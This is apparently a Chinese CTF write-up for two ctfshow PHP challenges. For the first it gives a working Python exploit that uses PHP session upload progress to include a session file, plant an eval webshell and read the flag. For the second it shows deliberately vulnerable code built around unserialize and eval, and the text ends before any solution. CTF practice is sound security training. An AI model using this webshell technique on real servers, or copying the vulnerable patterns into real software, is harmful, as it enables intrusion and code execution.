easy_include
#file协议的session文件包含
1 2 3 4 5 6 7 8 9 10
| <?php
function waf($path){ $path = str_replace(".","",$path); return preg_match("/^[a-z]+/",$path); }
if(waf($_POST[1])){ include "file://".$_POST[1]; }
|
要求必须是小写字母开头,而且不能路径遍历
如果是根目录的话需要加上localhost
cookie开启了session,直接打session文件包含就行,这道题还不需要竞争
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| import requests
url = "http://233551ec-d2da-45e8-8af2-4653abab5cf2.challenge.ctf.show/"
data = { 'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST[2]);?>', '1':'localhost/tmp/sess_ctfshow', '2':'system("cat /flag_is_here.txt");' } file = { 'file': 'ctfshow' } cookies = { 'PHPSESSID': 'ctfshow' }
response = requests.post(url=url,data=data,files=file,cookies=cookies)
print(response.text)
|
easy_web
php版本为5.5.9
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100
| 开胃小菜,就让我成为签到题叭 <?php header('Content-Type:text/html;charset=utf-8'); error_reporting(0);
function waf1($Chu0){ foreach ($Chu0 as $name => $value) { if(preg_match('/[a-z]/i', $value)){ exit("waf1"); } } }
function waf2($Chu0){ if(preg_match('/show/i', $Chu0)) exit("waf2"); }
function waf_in_waf_php($a){ $count = substr_count($a,'base64'); echo "hinthinthint,base64喔"."<br>"; if($count!=1){ return True; } if (preg_match('/ucs-2|phar|data|input|zip|flag|\%/i',$a)){ return True; }else{ return false; } }
class ctf{ public $h1; public $h2;
public function __wakeup(){ throw new Exception("fastfast"); }
public function __destruct() { $this->h1->nonono($this->h2); } }
class show{
public function __call($name,$args){ if(preg_match('/ctf/i',$args[0][0][2])){ echo "gogogo"; } } }
class Chu0_write{ public $chu0; public $chu1; public $cmd; public function __construct(){ $this->chu0 = 'xiuxiuxiu'; }
public function __toString(){ echo "__toString"."<br>"; if ($this->chu0===$this->chu1){ $content='ctfshowshowshowwww'.$_GET['chu0']; if (!waf_in_waf_php($_GET['name'])){ file_put_contents($_GET['name'].".txt",$content); }else{ echo "绕一下吧孩子"; } $tmp = file_get_contents('ctfw.txt'); echo $tmp."<br>"; if (!preg_match("/f|l|a|g|x|\*|\?|\[|\]| |\'|\<|\>|\%/i",$_GET['cmd'])){ eval($tmp($_GET['cmd'])); }else{ echo "waf!"; }
file_put_contents("ctfw.txt",""); } return "Go on"; } }
if (!$_GET['show_show.show']){ echo "开胃小菜,就让我成为签到题叭"; highlight_file(__FILE__); }else{ echo "WAF,启动!"; waf1($_REQUEST); waf2($_SERVER['QUERY_STRING']); if (!preg_match('/^[Oa]:[\d]/i',$_GET['show_show.show'])){ unserialize($_GET['show_show.show']); }else{ echo "被waf啦"; }
}
|